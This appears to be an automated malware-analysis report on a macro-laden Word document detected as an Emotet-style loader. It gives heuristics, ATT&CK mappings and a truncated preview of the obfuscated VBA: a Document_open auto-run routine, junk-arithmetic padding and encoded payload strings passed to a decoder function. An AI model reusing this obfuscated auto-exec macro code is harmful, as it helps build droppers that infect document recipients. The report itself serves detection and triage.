MALICIOUS
224
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample contains VBA macros, specifically a Document_Open macro that utilizes the Shell() function to execute arbitrary code. The macro appears to be obfuscated but likely downloads and executes a second-stage payload. The ClamAV detection of 'Doc.Malware.Emodldr-10025032-0' further supports its malicious nature.
Heuristics 7
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 48240 bytes |
SHA-256: da3eeeec2b699973b072a740f052e8779daef41f1c82cee08224531c4c212a8a |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 24 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "bDaqbhqouTD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
zcoiR = 96575 * CDate(6947) * 25073 * 94292 * (uGOJcI - Oct(28829)) + hwtWAF / CSng(EiLUNi) * 4859 * CSng(WbamLK)
Application.Run mbzjJF + "aTCRXavj" + FTcAF, UMcci + PuETEjGCiTu + MTssj
rLrhC = 42378 * CDate(5796) * 36692 * 96221 * (RYRwX - Oct(7008)) + rrMdj / CSng(JwwDKz) * 30597 * CSng(jOhRtI)
End Sub
Attribute VB_Name = "QGzmVKvDKm"
Sub IuAAWX(liiDS)
ViPiKj = 58620 * CDate(56986) * 89809 * 3819 * (kPrNPO - Oct(90529)) + QfoVti / CSng(JJHaoM) * 76989 * CSng(QnvMt)
End Sub
Function PuETEjGCiTu()
On Error Resume Next
MHwUW = 6187 * CDate(54447) * 58917 * 41837 * (cCsIK - Oct(46741)) + QwMwzw / CSng(cbLoV) * 11968 * CSng(JUEkkr)
KocSKbBASEW = SzIDnO("QjiA4ADhAw9", zqiTi - zqiTi + 4 + zqiTi - zqiTi, zqiTi - zqiTi + 4 + zqiTi - zqiTi)
qpCcEf = 9706 * CDate(10579) * 63443 * 85365 * (EzmhPN - Oct(27680)) + jrurn / CSng(PKSho) * 46266 * CSng(jbaIK)
bfQvvu = 35558 * CDate(24796) * 7108 * 8637 * (OItQqr - Oct(40842)) + YtzbLn / CSng(AAMbji) * 69219 * CSng(YYifE)
JFSJq = SzIDnO("tFNwRSAA2AGUANwBhAGYANgBlADcAZQBlADAAMgBlADMAZABkADcAOAAzADUAZQA5AD23", tTNXu - tTNXu + 8 + tTNXu - tTNXu, tTNXu - tTNXu + 60 + tTNXu - tTNXu)
jiodL = 79410 * CDate(83355) * 6939 * 69584 * (ARwBkc - Oct(8674)) + ISuRA / CSng(XwiqVs) * 16694 * CSng(QqrOK)
HzVfh = 73724 * CDate(38319) * 28993 * 30746 * (zjcDN - Oct(88904)) + YvuKEb / CSng(NOoluq) * 45798 * CSng(EEXnsw)
TBkdbAZfWNX = SzIDnO("AEAOAA2ADQAYQBiADQAMgBhAGQAMwA2AGQANwA0ADUAMQAwADIAZAAz2ZcKM", AwlwQR - AwlwQR + 2 + AwlwQR - AwlwQR, AwlwQR - AwlwQR + 54 + AwlwQR - AwlwQR)
aKwKqG = 62357 * CDate(72292) * 84439 * 97233 * (JrwPJ - Oct(6733)) + tRSwi / CSng(ZzHiX) * 61889 * CSng(BrhVjM)
FBkYNA = 87406 * CDate(2057) * 9447 * 48836 * (hnfvC - Oct(61797)) + BlbSYT / CSng(iSVpSd) * 71200 * CSng(pIVdk)
uUMKrV = SzIDnO("1UNgAxADQANABlADQAMQA2ADYANgAzADIAMAA1ADgAZgA5AGMAYwBjAGIANgBiAGUAMABkADkAOAA0AGEAZABiAGIANQA2AGQAYgR2@AAb", kVhdwm - kVhdwm + 3 + kVhdwm - kVhdwm, kVhdwm - kVhdwm + 98 + kVhdwm - kVhdwm)
KhZpKI = 96747 * CDate(23601) * 21410 * 54990 * (jIzaXm - Oct(56772)) + zihXL / CSng(vjdzXa) * 48343 * CSng(rrDCdN)
inStb = 60076 * CDate(82134) * 56403 * 64892 * (RYKAHn - Oct(91839)) + WLtjo / CSng(HpnNO) * 50774 * CSng(KwoZj)
BEFdAHGvrQN = SzIDnO("Fvh.gAMgAxAGYAZgBjAGEAMgAzADgANgBjADEAYwBiAGQAMgBlADkAOQBmADYAMQAxADgAYQBjADcAYQAwADEAZQAyADgANgA4ADIAZQA5ADIANQBjADkANgAxAGEAMgBlAGEAOQAyADcAMAAzAGEANQBjAGUAMQBiADEANQA3AGEAOCrin", dWHsK - dWHsK + 5 + dWHsK - dWHsK, dWHsK - dWHsK + 171 + dWHsK - dWHsK)
LYZqd = 28321 * CDate(58216) * 20207 * 63321 * (wurRA - Oct(33815)) + azzKl / CSng(rdOHJG) * 50308 * CSng(aaPjc)
iXabX = 65449 * CDate(7505) * 89981 * 13740 * (AUsKk - Oct(23762)) + XlobCE / CSng(AvJlF) * 59990 * CSng(FCMPu)
zdDbBj = SzIDnO("Rw.wAOQA5ADQAYgA5AGMANgBlADAAYgA4ADUANgAyADAAOAAzAGIAMwAwADQAOAAzADkAOQAzADcAZABjADgAYwAyAGYAYgBhADUAMABjADAANQAzAGQAOAAyADIAZABkADcAZASH", VQUJza - VQUJza + 5 + VQUJza - VQUJza, VQUJza - VQUJza + 131 + VQUJza - VQUJza)
UCSVd = 96313 * CDate(58225) * 84297 * 61603 * (Wtqak - Oct(96687)) + jcTZa / CSng(YSpbMu) * 35282 * CSng(uqocVS)
wYKup = 40251 * CDate(75328) * 23008 * 31109 * (FTYqk - Oct(6102)) + RckMSo / CSng(DCshG) * 91025 * CSng(Snvjk)
OSiqQOuosXM = SzIDnO("K@%.YAOAAxAGIAOQAwAGUAYgA1AGIAMABlAGIAYQBhADUAMgA3AGUAMwBlADQAZgBjADQANQA5ADkAMwAwADgAMAA4ADUANQBjADAAZQBlAGMAMgA5ADEAOQA4ADAAMAA5ADAAZAAyAGIAOQA3AGMANAA4ADkAZQBhAGGW0z", zEaJU - zEaJU + 5 + zEaJU - zEaJU, zEaJU - zEaJU + 160 + zEaJU - zEaJU)
MvpCB = 79305 * CDate(66384) * 43237 * 92623 * (XzjoH - Oct(59233)) + Bjjzrm / CSng(FFUAmj) * 54737 * CSng(ABnWm)
fiWSXc = 89353 * CDate(8763) * 13044 * 86230 * (CikHKD - Oct(187)) + DbJhOT / CSng(wBdUM) * 35279 * CSng(oQXFdN)
TLwFmbda = SzIDnO("DvVKhUAZAA5ADYAMQBiADcAMAA4ADUAMQAzADQAYQAwADkAZQA1AGUAMwA5ADEANgA1ADkAM
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.